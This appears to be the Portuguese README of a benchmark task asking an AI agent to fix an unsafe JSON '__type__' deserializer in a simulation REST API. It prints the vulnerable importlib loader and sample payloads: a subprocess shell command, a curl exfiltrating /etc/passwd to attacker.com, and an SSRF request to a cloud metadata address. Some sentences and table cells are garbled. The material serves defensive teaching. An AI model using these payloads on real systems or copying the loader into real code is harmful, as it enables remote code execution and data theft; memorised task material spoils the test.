
CVE-2026-25632 — Corrige desserialização insegura de JSON que leva à execução remota de código
Inspirado por uma vulnerabilidade real de 2026 (CVSS 10.0, explorada ativamente)
Baseado em: CVE-2026-25632 — Execução Remota de Código via desserialização insegura de JSON orientada por__type__, descoberta na API REST de simulação de redes de água EPyT-Flow e divulgada publicamente no início de 2026.
NovaSim é um framework de simulação baseado em Python que expõe uma API REST para controle remoto de experimentos científicos. Para suportar serialização flexível de objetos em ambientes de cliente heterogêneos, um desenvolvedor adicionou um carregador JSON personalizado que detecta um campo especial __type__ e importa e instancia dinamicamente a classe Python referenciada usando importlib.
Esse padrão foi divulgado como uma vulnerabilidade crítica de Execução Remota de Código (RCE) em um grande projeto de código aberto em 2026. Pesquisadores de segurança identificaram que um atacante que controla o corpo JSON pode construir uma cadeia de gadgets direcionada a qualquer chamável da biblioteca padrão do Python — incluindo subprocess.Popen, , e mais de 25 gadgets de SSRF — alcançando o comprometimento total do servidor com uma única requisição HTTP, .
os.systemevalVocê recebe a versão vulnerável de src/solution.py, que contém exatamente o padrão inseguro de desserialização.
Seu objetivo: Corrigir a vulnerabilidade em DeserializationService.load_from_json() para que:
SecurityError.__type__ não permita mais importação arbitrária de módulos ou instanciação de classes.__type__) continuem carregando normalmente.# PERIGOSO — padrão CVE-2026-25632
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # controlado pelo atacante!
cls = getattr(module, class_name) # controlado pelo atacante!
return cls(**data.get("args", {})) # execução arbitrária de código!
Um atacante envia uma requisição POST com um corpo JSON manipulado:
Vetor 1 — RCE direta via subprocess:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
Vetor 2 — RCE via os.system:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
Vetor 3 — SSRF via urllib.request.urlopen:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
Pesquisadores de segurança documentaram 12 gadgets diretos de RCE e 25 gadgets de SSRF alcançáveis dessa forma apenas por meio da biblioteca padrão do Python.
Os seguintes — e somente os seguintes — tipos de objetos de simulação podem ser desserializados via __type__:
Valor de __type__ | Classe Python |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
Qualquer outro valor de __type__ DEVE lançar uma SecurityError imediatamente, antes de qualquer importação ou instanciação ocorrer.
Objetos JSON submetidos a DeserializationService.load_from_json(raw: str) -> dict | SimObject
__type__: retornar dict (JSON analisado).__type__ permitido: retornar a instância do objeto de simulação correspondente.__type__ não permitido: lançar SecurityError com a mensagem: "Blocked unsafe type: <type_value>".ValueError com a mensagem: "Invalid JSON payload".| Cenário | Comportamento esperado |
|---|---|
__type__ ausente | Analisar e retornar como dict simples |
__type__ = "simulation.Sensor" | Instanciar Sensor(**args) |
__type__ = "subprocess.Popen" | Lançar SecurityError |
__type__ = "os.system" | Lançar SecurityError |
__type__ = "__builtins__.eval" | Lançar SecurityError |
__type__ = "" (string vazia) | Lançar SecurityError |
__type__ = uma lista ou inteiro | Lançar SecurityError (campo de tipo inválido) |
| String JSON malformada | Lançar ValueError |
| Campos extras desconhecidos em objeto válido | Aceitos, passados como kwargs ao construtor |
challenge-cve-2026-25632/
├── README.md <- Você está aqui
├── Dockerfile <- Ambiente de build determinístico
├── src/
│ ├── solution.py <- Código inicial COM BUG (seu alvo)
│ ├── solution_fixed.py <- Solução de referência (oculta do agente)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Classes de modelo de simulação permitidas
└── tests/
└── test_solution.py <- Harness de testes (FALHA no código com bug, PASSA no corrigido)
A correção deve passar em TODOS os seguintes: